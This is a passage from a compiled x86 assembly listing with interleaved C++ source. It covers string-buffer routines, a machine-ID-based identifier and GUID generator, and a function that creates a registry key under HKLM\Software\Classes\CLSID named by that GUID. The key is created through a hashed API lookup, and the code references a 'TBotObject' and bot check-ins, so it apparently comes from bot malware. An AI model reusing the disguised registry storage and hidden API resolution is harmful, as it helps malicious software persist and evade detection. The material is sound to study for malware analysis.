(SrcLen == 0) 00016 33 ff xor edi, edi 00018 39 7d 10 cmp DWORD PTR _SrcLen$[ebp], edi 0001b 75 0c jne SHORT $LN6@Append ; 486 : SrcLen = STRUTILS::Length(Src); 0001d ff 75 0c push DWORD PTR _Src$[ebp] 00020 e8 00 00 00 00 call ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS::Length 00025 59 pop ecx 00026 89 45 10 mov DWORD PTR _SrcLen$[ebp], eax $LN6@Append: 00029 56 push esi ; 487 : ; 488 : if (Dst == NULL) 0002a 8b 75 08 mov esi, DWORD PTR _Dst$[ebp] 0002d 8b 06 mov eax, DWORD PTR [esi] 0002f 3b c7 cmp eax, edi 00031 75 13 jne SHORT $LN5@Append ; 489 : { ; 490 : // Создаём строку на основе исходной строки ; 491 : Dst = CreateFromStr(Src, SrcLen, 0); 00033 57 push edi 00034 ff 75 10 push DWORD PTR _SrcLen$[ebp] 00037 ff 75 0c push DWORD PTR _Src$[ebp] 0003a e8 00 00 00 00 call ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr 0003f 83 c4 0c add esp, 12 ; 0000000cH 00042 89 06 mov DWORD PTR [esi], eax ; 492 : } ; 493 : else 00044 eb 51 jmp SHORT $LN15@Append $LN5@Append: ; 494 : { ; 495 : // Объединяем две строки ; 496 : TStrRec &R = GetRec(Dst); ; 497 : TChar* Tmp = NULL; ; 498 : DWORD DstLen = R.Length; ; 499 : DWORD TotalLen = SrcLen + DstLen; 00046 8b 4d 10 mov ecx, DWORD PTR _SrcLen$[ebp] 00049 53 push ebx 0004a 8b 58 f8 mov ebx, DWORD PTR [eax-8] 0004d 89 7d fc mov DWORD PTR _Tmp$92314[ebp], edi 00050 8d 3c 0b lea edi, DWORD PTR [ebx+ecx] ; 500 : if (R.Size < TotalLen || R.RefCount > 1) 00053 39 78 f4 cmp DWORD PTR [eax-12], edi 00056 72 06 jb SHORT $LN2@Append 00058 83 78 fc 01 cmp DWORD PTR [eax-4], 1 0005c 76 10 jbe SHORT $LN3@Append $LN2@Append: ; 501 : { ; 502 : Tmp = Dst; ; 503 : Dst = CreateFromStr(Tmp, DstLen, TotalLen); 0005e 57 push edi 0005f 53 push ebx 00060 50 push eax 00061 89 45 fc mov DWORD PTR _Tmp$92314[ebp], eax 00064 e8 00 00 00 00 call ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr 00069 83 c4 0c add esp, 12 ; 0000000cH 0006c 89 06 mov DWORD PTR [esi], eax $LN3@Append: ; 504 : } ; 505 : m_memcpy(Dst + DstLen, Src, SrcLen * sizeof(TChar)); 0006e ff 75 10 push DWORD PTR _SrcLen$[ebp] 00071 8b 06 mov eax, DWORD PTR [esi] 00073 ff 75 0c push DWORD PTR _Src$[ebp] 00076 03 c3 add eax, ebx 00078 50 push eax 00079 e8 00 00 00 00 call ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy ; 506 : GetRec(Dst).Length = TotalLen; 0007e 8b 06 mov eax, DWORD PTR [esi] 00080 83 c4 0c add esp, 12 ; 0000000cH ; 507 : ; 508 : if (Tmp) 00083 83 7d fc 00 cmp DWORD PTR _Tmp$92314[ebp], 0 00087 89 78 f8 mov DWORD PTR [eax-8], edi 0008a 5b pop ebx 0008b 74 0a je SHORT $LN15@Append ; 509 : Release(Tmp); 0008d 8d 45 fc lea eax, DWORD PTR _Tmp$92314[ebp] 00090 50 push eax 00091 e8 00 00 00 00 call ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release 00096 59 pop ecx $LN15@Append: 00097 5e pop esi 00098 5f pop edi $LN1@Append: ; 510 : } ; 511 : } 00099 c9 leave 0009a c3 ret 0 ??$Append@D@STRBUF@@YAXAAPADPBDK@Z ENDP ; STRBUF::Append _TEXT ENDS PUBLIC ??0?$TString@D@@QAE@PBDK@Z ; TString::TString ; Function compile flags: /Ogspy ; COMDAT ??0?$TString@D@@QAE@PBDK@Z _TEXT SEGMENT _src$ = 8 ; size = 4 _copylen$ = 12 ; size = 4 ??0?$TString@D@@QAE@PBDK@Z PROC ; TString::TString, COMDAT ; _this$ = ecx ; 671 : { 00000 56 push esi ; 672 : Data = STRBUF::CreateFromStr(src, copylen, 0); 00001 6a 00 push 0 00003 ff 74 24 10 push DWORD PTR _copylen$[esp+4] 00007 8b f1 mov esi, ecx 00009 ff 74 24 10 push DWORD PTR _src$[esp+8] 0000d c7 06 00 00 00 00 mov DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@ 00013 e8 00 00 00 00 call ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr 00018 89 46 04 mov DWORD PTR [esi+4], eax 0001b 83 c4 0c add esp, 12 ; 0000000cH ; 673 : } 0001e 8b c6 mov eax, esi 00020 5e pop esi 00021 c2 08 00 ret 8 ??0?$TString@D@@QAE@PBDK@Z ENDP ; TString::TString _TEXT ENDS PUBLIC ??0?$TString@D@@QAE@PBD@Z ; TString::TString ; Function compile flags: /Ogspy ; COMDAT ??0?$TString@D@@QAE@PBD@Z _TEXT SEGMENT _Src$ = 8 ; size = 4 ??0?$TString@D@@QAE@PBD@Z PROC ; TString::TString, COMDAT ; _this$ = ecx ; 666 : { 00000 56 push esi ; 667 : Data = STRBUF::CreateFromStr(Src, 0, 0); 00001 6a 00 push 0 00003 6a 00 push 0 00005 ff 74 24 10 push DWORD PTR _Src$[esp+8] 00009 8b f1 mov esi, ecx 0000b c7 06 00 00 00 00 mov DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@ 00011 e8 00 00 00 00 call ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr 00016 89 46 04 mov DWORD PTR [esi+4], eax 00019 83 c4 0c add esp, 12 ; 0000000cH ; 668 : } 0001c 8b c6 mov eax, esi 0001e 5e pop esi 0001f c2 04 00 ret 4 ??0?$TString@D@@QAE@PBD@Z ENDP ; TString::TString _TEXT ENDS PUBLIC ??0?$TString@D@@QAE@ABV0@@Z ; TString::TString ; Function compile flags: /Ogspy ; COMDAT ??0?$TString@D@@QAE@ABV0@@Z _TEXT SEGMENT _src$ = 8 ; size = 4 ??0?$TString@D@@QAE@ABV0@@Z PROC ; TString::TString, COMDAT ; _this$ = ecx ; 661 : Data = STRBUF::AddRef(src.Data); 00000 8b 44 24 04 mov eax, DWORD PTR _src$[esp-4] 00004 56 push esi 00005 8b f1 mov esi, ecx 00007 c7 06 00 00 00 00 mov DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@ 0000d ff 70 04 push DWORD PTR [eax+4] 00010 e8 00 00 00 00 call ??$AddRef@D@STRBUF@@YAPADPAD@Z ; STRBUF::AddRef 00015 89 46 04 mov DWORD PTR [esi+4], eax 00018 59 pop ecx ; 662 : } 00019 8b c6 mov eax, esi 0001b 5e pop esi 0001c c2 04 00 ret 4 ??0?$TString@D@@QAE@ABV0@@Z ENDP ; TString::TString _TEXT ENDS PUBLIC ??1?$TString@D@@UAE@XZ ; TString::~TString ; Function compile flags: /Ogspy ; COMDAT ??1?$TString@D@@UAE@XZ _TEXT SEGMENT ??1?$TString@D@@UAE@XZ PROC ; TString::~TString, COMDAT ; _this$ = ecx ; 676 : { 00000 56 push esi 00001 8b f1 mov esi, ecx ; 677 : STRBUF::Release(Data); 00003 8d 46 04 lea eax, DWORD PTR [esi+4] 00006 50 push eax 00007 c7 06 00 00 00 00 mov DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@ 0000d e8 00 00 00 00 call ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release 00012 59 pop ecx ; 678 : } 00013 c7 06 00 00 00 00 mov DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@ 00019 5e pop esi 0001a c3 ret 0 ??1?$TString@D@@UAE@XZ ENDP ; TString::~TString _TEXT ENDS PUBLIC ?Length@?$TString@D@@QBEKXZ ; TString::Length ; Function compile flags: /Ogspy ; COMDAT ?Length@?$TString@D@@QBEKXZ _TEXT SEGMENT ?Length@?$TString@D@@QBEKXZ PROC ; TString::Length, COMDAT ; _this$ = ecx ; 683 : return STRBUF::Length(Data); 00000 ff 71 04 push DWORD PTR [ecx+4] 00003 e8 00 00 00 00 call ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length 00008 59 pop ecx ; 684 : } 00009 c3 ret 0 ?Length@?$TString@D@@QBEKXZ ENDP ; TString::Length _TEXT ENDS PUBLIC ??4?$TString@D@@QAEAAV0@PBD@Z ; TString::operator= ; Function compile flags: /Ogspy ; COMDAT ??4?$TString@D@@QAEAAV0@PBD@Z _TEXT SEGMENT _Source$ = 8 ; size = 4 ??4?$TString@D@@QAEAAV0@PBD@Z PROC ; TString::operator=, COMDAT ; _this$ = ecx ; 914 : { 00000 56 push esi 00001 57 push edi 00002 8b f9 mov edi, ecx ; 915 : STRBUF::Release(Data); 00004 8d 77 04 lea esi, DWORD PTR [edi+4] 00007 56 push esi 00008 e8 00 00 00 00 call ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release ; 916 : Data = STRBUF::CreateFromStr(Source, 0, 0); 0000d 6a 00 push 0 0000f 6a 00 push 0 00011 ff 74 24 18 push DWORD PTR _Source$[esp+16] 00015 e8 00 00 00 00 call ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr 0001a 83 c4 10 add esp, 16 ; 00000010H 0001d 89 06 mov DWORD PTR [esi], eax ; 917 : return *this; 0001f 8b c7 mov eax, edi 00021 5f pop edi 00022 5e pop esi ; 918 : } 00023 c2 04 00 ret 4 ??4?$TString@D@@QAEAAV0@PBD@Z ENDP ; TString::operator= _TEXT ENDS PUBLIC ??4?$TString@D@@QAEAAV0@ABV0@@Z ; TString::operator= ; Function compile flags: /Ogspy ; COMDAT ??4?$TString@D@@QAEAAV0@ABV0@@Z _TEXT SEGMENT _Source$ = 8 ; size = 4 ??4?$TString@D@@QAEAAV0@ABV0@@Z PROC ; TString::operator=, COMDAT ; _this$ = ecx ; 904 : { 00000 53 push ebx 00001 56 push esi 00002 8b d9 mov ebx, ecx ; 905 : if (Data != Source.Data) 00004 8d 73 04 lea esi, DWORD PTR [ebx+4] 00007 8b 06 mov eax, DWORD PTR [esi] 00009 57 push edi 0000a 8b 7c 24 10 mov edi, DWORD PTR _Source$[esp+8] 0000e 3b 47 04 cmp eax, DWORD PTR [edi+4] 00011 74 12 je SHORT $LN1@operator ; 906 : { ; 907 : STRBUF::Release(Data); 00013 56 push esi 00014 e8 00 00 00 00 call ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release ; 908 : Data = STRBUF::AddRef(Source.Data); 00019 ff 77 04 push DWORD PTR [edi+4] 0001c e8 00 00 00 00 call ??$AddRef@D@STRBUF@@YAPADPAD@Z ; STRBUF::AddRef 00021 59 pop ecx 00022 59 pop ecx 00023 89 06 mov DWORD PTR [esi], eax $LN1@operator: 00025 5f pop edi 00026 5e pop esi ; 909 : } ; 910 : return *this; 00027 8b c3 mov eax, ebx 00029 5b pop ebx ; 911 : } 0002a c2 04 00 ret 4 ??4?$TString@D@@QAEAAV0@ABV0@@Z ENDP ; TString::operator= _TEXT ENDS PUBLIC ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString::operator+= ; Function compile flags: /Ogspy ; COMDAT ??Y?$TString@D@@QAEAAV0@PBD@Z _TEXT SEGMENT _Source$ = 8 ; size = 4 ??Y?$TString@D@@QAEAAV0@PBD@Z PROC ; TString::operator+=, COMDAT ; _this$ = ecx ; 929 : if (Source) 00000 83 7c 24 04 00 cmp DWORD PTR _Source$[esp-4], 0 00005 56 push esi 00006 8b f1 mov esi, ecx 00008 74 12 je SHORT $LN1@operator@2 ; 930 : STRBUF::Append(Data, Source, 0); 0000a 6a 00 push 0 0000c ff 74 24 0c push DWORD PTR _Source$[esp+4] 00010 8d 46 04 lea eax, DWORD PTR [esi+4] 00013 50 push eax 00014 e8 00 00 00 00 call ??$Append@D@STRBUF@@YAXAAPADPBDK@Z ; STRBUF::Append 00019 83 c4 0c add esp, 12 ; 0000000cH $LN1@operator@2: ; 931 : return *this; 0001c 8b c6 mov eax, esi 0001e 5e pop esi ; 932 : } 0001f c2 04 00 ret 4 ??Y?$TString@D@@QAEAAV0@PBD@Z ENDP ; TString::operator+= _TEXT ENDS PUBLIC ??Y?$TString@D@@QAEAAV0@ABV0@@Z ; TString::operator+= ; Function compile flags: /Ogspy ; COMDAT ??Y?$TString@D@@QAEAAV0@ABV0@@Z _TEXT SEGMENT _Source$ = 8 ; size = 4 ??Y?$TString@D@@QAEAAV0@ABV0@@Z PROC ; TString::operator+=, COMDAT ; _this$ = ecx ; 922 : if (Source.Data) 00000 8b 44 24 04 mov eax, DWORD PTR _Source$[esp-4] 00004 56 push esi 00005 8b 70 04 mov esi, DWORD PTR [eax+4] 00008 57 push edi 00009 8b f9 mov edi, ecx 0000b 85 f6 test esi, esi 0000d 74 14 je SHORT $LN1@operator@3 ; 923 : STRBUF::Append(Data, Source.Data, Source.Length()); 0000f 56 push esi 00010 e8 00 00 00 00 call ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length 00015 50 push eax 00016 8d 47 04 lea eax, DWORD PTR [edi+4] 00019 56 push esi 0001a 50 push eax 0001b e8 00 00 00 00 call ??$Append@D@STRBUF@@YAXAAPADPBDK@Z ; STRBUF::Append 00020 83 c4 10 add esp, 16 ; 00000010H $LN1@operator@3: ; 924 : return *this; 00023 8b c7 mov eax, edi 00025 5f pop edi 00026 5e pop esi ; 925 : } 00027 c2 04 00 ret 4 ??Y?$TString@D@@QAEAAV0@ABV0@@Z ENDP ; TString::operator+= _TEXT ENDS PUBLIC ??_C@_01GBGANLPD@0?$AA@ ; `string' PUBLIC ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString EXTRN ?m_lstrlen@@YGKPBD@Z:PROC ; m_lstrlen EXTRN ?MakeMachineID@@YAPADXZ:PROC ; MakeMachineID ; COMDAT ??_C@_01GBGANLPD@0?$AA@ CONST SEGMENT ??_C@_01GBGANLPD@0?$AA@ DB '0', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z _TEXT SEGMENT ___$ReturnUdt$ = 8 ; size = 4 _Prefix$ = 12 ; size = 4 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z PROC ; GenerateUidAsString, COMDAT ; 86 : { 00000 53 push ebx 00001 56 push esi ; 87 : string uid = Prefix; 00002 8b 74 24 10 mov esi, DWORD PTR _Prefix$[esp+4] 00006 57 push edi 00007 8b 7c 24 10 mov edi, DWORD PTR ___$ReturnUdt$[esp+8] 0000b 56 push esi 0000c 8b cf mov ecx, edi 0000e e8 00 00 00 00 call ??0?$TString@D@@QAE@ABV0@@Z ; TString::TString ; 88 : PCHAR uid_ptr = MakeMachineID(); 00013 e8 00 00 00 00 call ?MakeMachineID@@YAPADXZ ; MakeMachineID 00018 8b d8 mov ebx, eax ; 89 : size_t uid_size = m_lstrlen(uid_ptr); 0001a 53 push ebx 0001b e8 00 00 00 00 call ?m_lstrlen@@YGKPBD@Z ; m_lstrlen ; 90 : if (Prefix.Length() > 0) uid += "0"; 00020 ff 76 04 push DWORD PTR [esi+4] 00023 e8 00 00 00 00 call ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length 00028 59 pop ecx 00029 85 c0 test eax, eax 0002b 76 0c jbe SHORT $LN1@GenerateUi 0002d 68 00 00 00 00 push OFFSET ??_C@_01GBGANLPD@0?$AA@ 00032 8b cf mov ecx, edi 00034 e8 00 00 00 00 call ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString::operator+= $LN1@GenerateUi: ; 91 : uid += uid_ptr; 00039 53 push ebx 0003a 8b cf mov ecx, edi 0003c e8 00 00 00 00 call ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString::operator+= ; 92 : ; 93 : return uid; 00041 8b c7 mov eax, edi 00043 5f pop edi 00044 5e pop esi 00045 5b pop ebx ; 94 : } 00046 c3 ret 0 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ENDP ; GenerateUidAsString _TEXT ENDS PUBLIC ??_C@_01CELHOKLL@?$HN?$AA@ ; `string' PUBLIC ??_C@_01JOAMLHOP@?9?$AA@ ; `string' PUBLIC ??_C@_01HCONENDN@?$HL?$AA@ ; `string' PUBLIC ?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z ; CreateGuidFromUid ; COMDAT ??_C@_01CELHOKLL@?$HN?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp CONST SEGMENT ??_C@_01CELHOKLL@?$HN?$AA@ DB '}', 00H ; `string' CONST ENDS ; COMDAT ??_C@_01JOAMLHOP@?9?$AA@ CONST SEGMENT ??_C@_01JOAMLHOP@?9?$AA@ DB '-', 00H ; `string' CONST ENDS ; COMDAT ??_C@_01HCONENDN@?$HL?$AA@ CONST SEGMENT ??_C@_01HCONENDN@?$HL?$AA@ DB '{', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z _TEXT SEGMENT _parts$ = -36 ; size = 20 $T92818 = -16 ; size = 8 _wide_uid$ = -8 ; size = 8 _CurPtr$ = 8 ; size = 4 ___$ReturnUdt$ = 8 ; size = 4 _uid$ = 12 ; size = 4 ?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z PROC ; CreateGuidFromUid, COMDAT ; 98 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 24 sub esp, 36 ; 00000024H 00006 53 push ebx 00007 56 push esi ; 99 : string wide_uid; ; 100 : string guid; 00008 8b 75 08 mov esi, DWORD PTR ___$ReturnUdt$[ebp] 0000b 57 push edi 0000c b8 00 00 00 00 mov eax, OFFSET ??_7?$TString@D@@6B@ ; 101 : DWORD parts[5] = {8, 4, 4, 4, 12}; 00011 6a 04 push 4 00013 33 ff xor edi, edi 00015 89 45 f8 mov DWORD PTR _wide_uid$[ebp], eax 00018 89 06 mov DWORD PTR [esi], eax 0001a 58 pop eax 0001b 89 7d fc mov DWORD PTR _wide_uid$[ebp+4], edi 0001e 89 7e 04 mov DWORD PTR [esi+4], edi 00021 c7 45 dc 08 00 00 00 mov DWORD PTR _parts$[ebp], 8 00028 89 45 e0 mov DWORD PTR _parts$[ebp+4], eax 0002b 89 45 e4 mov DWORD PTR _parts$[ebp+8], eax 0002e 89 45 e8 mov DWORD PTR _parts$[ebp+12], eax 00031 c7 45 ec 0c 00 00 00 mov DWORD PTR _parts$[ebp+16], 12 ; 0000000cH ; 102 : ; 103 : ; 104 : while (wide_uid.Length() < (8+4+4+4+12)) wide_uid += uid; 00038 57 push edi 00039 eb 0e jmp SHORT $LN29@CreateGuid $LL6@CreateGuid: 0003b ff 75 0c push DWORD PTR _uid$[ebp] 0003e 8d 4d f8 lea ecx, DWORD PTR _wide_uid$[ebp] 00041 e8 00 00 00 00 call ??Y?$TString@D@@QAEAAV0@ABV0@@Z ; TString::operator+= 00046 ff 75 fc push DWORD PTR _wide_uid$[ebp+4] $LN29@CreateGuid: 00049 e8 00 00 00 00 call ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length 0004e 59 pop ecx 0004f 83 f8 20 cmp eax, 32 ; 00000020H 00052 72 e7 jb SHORT $LL6@CreateGuid ; 105 : ; 106 : guid += "{"; 00054 68 00 00 00 00 push OFFSET ??_C@_01HCONENDN@?$HL?$AA@ 00059 8b ce mov ecx, esi 0005b e8 00 00 00 00 call ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString::operator+= ; 107 : const char* CurPtr = wide_uid.t_str(); 00060 39 7d fc cmp DWORD PTR _wide_uid$[ebp+4], edi 00063 74 08 je SHORT $LN21@CreateGuid 00065 8b 45 fc mov eax, DWORD PTR _wide_uid$[ebp+4] 00068 89 45 08 mov DWORD PTR _CurPtr$[ebp], eax 0006b eb 07 jmp SHORT $LL22@CreateGuid $LN21@CreateGuid: 0006d c7 45 08 00 00 00 00 mov DWORD PTR _CurPtr$[ebp], OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LL22@CreateGuid: ; 108 : ; 109 : for (size_t i = 0; i < ARRAYSIZE(parts); i++) ; 110 : { ; 111 : if (i != 0) guid += "-"; 00074 85 ff test edi, edi 00076 74 0c je SHORT $LN1@CreateGuid 00078 68 00 00 00 00 push OFFSET ??_C@_01JOAMLHOP@?9?$AA@ 0007d 8b ce mov ecx, esi 0007f e8 00 00 00 00 call ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString::operator+= $LN1@CreateGuid: ; 112 : ; 113 : guid += string(CurPtr, parts[i]); 00084 8b 5c bd dc mov ebx, DWORD PTR _parts$[ebp+edi*4] 00088 53 push ebx 00089 ff 75 08 push DWORD PTR _CurPtr$[ebp] 0008c 8d 4d f0 lea ecx, DWORD PTR $T92818[ebp] 0008f e8 00 00 00 00 call ??0?$TString@D@@QAE@PBDK@Z ; TString::TString 00094 50 push eax 00095 8b ce mov ecx, esi 00097 e8 00 00 00 00 call ??Y?$TString@D@@QAEAAV0@ABV0@@Z ; TString::operator+= 0009c 8d 4d f0 lea ecx, DWORD PTR $T92818[ebp] 0009f e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 114 : CurPtr += parts[i]; 000a4 01 5d 08 add DWORD PTR _CurPtr$[ebp], ebx 000a7 47 inc edi 000a8 83 ff 05 cmp edi, 5 000ab 72 c7 jb SHORT $LL22@CreateGuid ; 115 : } ; 116 : ; 117 : guid += "}"; 000ad 68 00 00 00 00 push OFFSET ??_C@_01CELHOKLL@?$HN?$AA@ 000b2 8b ce mov ecx, esi 000b4 e8 00 00 00 00 call ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString::operator+= ; 118 : return guid; 000b9 8d 4d f8 lea ecx, DWORD PTR _wide_uid$[ebp] 000bc e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 000c1 5f pop edi 000c2 8b c6 mov eax, esi 000c4 5e pop esi 000c5 5b pop ebx ; 119 : } 000c6 c9 leave 000c7 c3 ret 0 ?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z ENDP ; CreateGuidFromUid _TEXT ENDS PUBLIC ??_C@_00CNPNBAHC@?$AA@ ; `string' PUBLIC ??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@ ; `string' PUBLIC ?CreateSettingKey@@YAPAUHKEY__@@XZ ; CreateSettingKey ; COMDAT ??_C@_00CNPNBAHC@?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp CONST SEGMENT ??_C@_00CNPNBAHC@?$AA@ DB 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@ CONST SEGMENT ??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@ DB 'Software\Classes\CL' DB 'SID\', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?CreateSettingKey@@YAPAUHKEY__@@XZ _TEXT SEGMENT $T92854 = -48 ; size = 8 $T92855 = -40 ; size = 8 _roots$ = -32 ; size = 8 $T92853 = -24 ; size = 8 _path$ = -16 ; size = 8 _dsp$ = -8 ; size = 4 _key$ = -4 ; size = 4 ?CreateSettingKey@@YAPAUHKEY__@@XZ PROC ; CreateSettingKey, COMDAT ; 124 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 30 sub esp, 48 ; 00000030H 00006 56 push esi 00007 57 push edi ; 125 : // ВНИМАНИЕ: сейчас всё сохраняется в HKEY_LOCAL_MACHINE ; 126 : // Сделан задел на добавление сохранения еще и HKEY_CURRENT_USER, если этот ; 127 : // даст плохие отстуки ; 128 : ; 129 : HKEY roots[2] = {HKEY_LOCAL_MACHINE /*, HKEY_CURRENT_USER*/}; ; 130 : HKEY key = NULL; 00008 33 f6 xor esi, esi 0000a 33 c0 xor eax, eax 0000c 8d 7d e4 lea edi, DWORD PTR _roots$[ebp+4] 0000f c7 45 e0 02 00 00 80 mov DWORD PTR _roots$[ebp], -2147483646 ; 80000002H ; 131 : DWORD dsp = 0; ; 132 : string path; ; 133 : ; 134 : path = "Software\\Classes\\CLSID\\"; 00016 68 00 00 00 00 push OFFSET ??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@ 0001b 8d 4d f0 lea ecx, DWORD PTR _path$[ebp] 0001e ab stosd 0001f 89 75 fc mov DWORD PTR _key$[ebp], esi 00022 89 75 f8 mov DWORD PTR _dsp$[ebp], esi 00025 c7 45 f0 00 00 00 00 mov DWORD PTR _path$[ebp], OFFSET ??_7?$TString@D@@6B@ 0002c 89 75 f4 mov DWORD PTR _path$[ebp+4], esi 0002f e8 00 00 00 00 call ??4?$TString@D@@QAEAAV0@PBD@Z ; TString::operator= ; 135 : path += CreateGuidFromUid(GenerateUidAsString("")); 00034 68 00 00 00 00 push OFFSET ??_C@_00CNPNBAHC@?$AA@ 00039 8d 4d e8 lea ecx, DWORD PTR $T92853[ebp] 0003c e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00041 8d 45 e8 lea eax, DWORD PTR $T92853[ebp] 00044 50 push eax 00045 8d 45 d0 lea eax, DWORD PTR $T92854[ebp] 00048 50 push eax 00049 e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 0004e 50 push eax 0004f 8d 45 d8 lea eax, DWORD PTR $T92855[ebp] 00052 50 push eax 00053 e8 00 00 00 00 call ?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z ; CreateGuidFromUid 00058 83 c4 10 add esp, 16 ; 00000010H 0005b 50 push eax 0005c 8d 4d f0 lea ecx, DWORD PTR _path$[ebp] 0005f e8 00 00 00 00 call ??Y?$TString@D@@QAEAAV0@ABV0@@Z ; TString::operator+= 00064 8d 4d d8 lea ecx, DWORD PTR $T92855[ebp] 00067 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 0006c 8d 4d d0 lea ecx, DWORD PTR $T92854[ebp] 0006f e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 00074 8d 4d e8 lea ecx, DWORD PTR $T92853[ebp] 00077 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 136 : ; 137 : for (DWORD i = 0; i < ARRAYSIZE(roots); i++) 0007c 33 ff xor edi, edi $LL4@CreateSett: ; 138 : { ; 139 : DWORD create_key_result = (DWORD)pRegCreateKeyExA(roots[i], ; 140 : path.t_str(), 0, NULL, 0, KEY_ALL_ACCESS, NULL, &key, &dsp); 0007e 8b 45 f4 mov eax, DWORD PTR _path$[ebp+4] 00081 39 75 f4 cmp DWORD PTR _path$[ebp+4], esi 00084 75 05 jne SHORT $LN14@CreateSett 00086 b8 00 00 00 00 mov eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN14@CreateSett: 0008b 8d 4d f8 lea ecx, DWORD PTR _dsp$[ebp] 0008e 51 push ecx 0008f 8d 4d fc lea ecx, DWORD PTR _key$[ebp] 00092 51 push ecx 00093 56 push esi 00094 68 3f 00 0f 00 push 983103 ; 000f003fH 00099 56 push esi 0009a 56 push esi 0009b 56 push esi 0009c 50 push eax 0009d ff 74 bd e0 push DWORD PTR _roots$[ebp+edi*4] 000a1 e8 00 00 00 00 call ??$pushargEx@$01$0JAKAJHOG@$0OO@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z ; pushargEx<2,2426443750,238,HKEY__ *,char *,int,int,int,long,int,HKEY__ * *,unsigned long *> 000a6 83 c4 24 add esp, 36 ; 00000024H ; 141 : ; 142 : if (create_key_result == ERROR_SUCCESS) return key; 000a9 85 c0 test eax, eax 000ab 74 08 je SHORT $LN16@CreateSett 000ad 47 inc edi 000ae 83 ff 02 cmp edi, 2 000b1 72 cb jb SHORT $LL4@CreateSett 000b3 eb 03 jmp SHORT $LN18@CreateSett $LN16@CreateSett: 000b5 8b 75 fc mov esi, DWORD PTR _key$[ebp] $LN18@CreateSett: 000b8 8d 4d f0 lea ecx, DWORD PTR _path$[ebp] 000bb e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 000c0 5f pop edi 000c1 8b c6 mov eax, esi 000c3 5e pop esi ; 143 : } ; 144 : ; 145 : return NULL; ; 146 : } 000c4 c9 leave 000c5 c3 ret 0 ?CreateSettingKey@@YAPAUHKEY__@@XZ ENDP ; CreateSettingKey _TEXT ENDS PUBLIC ?GetValueName@@YA?AV?$TString@D@@ABV1@@Z ; GetValueName ; Function compile flags: /Ogspy ; COMDAT ?GetValueName@@YA?AV?$TString@D@@ABV1@@Z _TEXT SEGMENT $T92878 = -16 ; size = 8 _Uid$ = -8 ; size = 8 ___$ReturnUdt$ = 8 ; size = 4 _Suffix$ = 12 ; size = 4 ?GetValueName@@YA?AV?$TString@D@@ABV1@@Z PROC ; GetValueName, COMDAT ; 151 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 10 sub esp, 16 ; 00000010H ; 152 : string Uid = GenerateUidAsString(""); 00006 68 00 00 00 00 push OFFSET 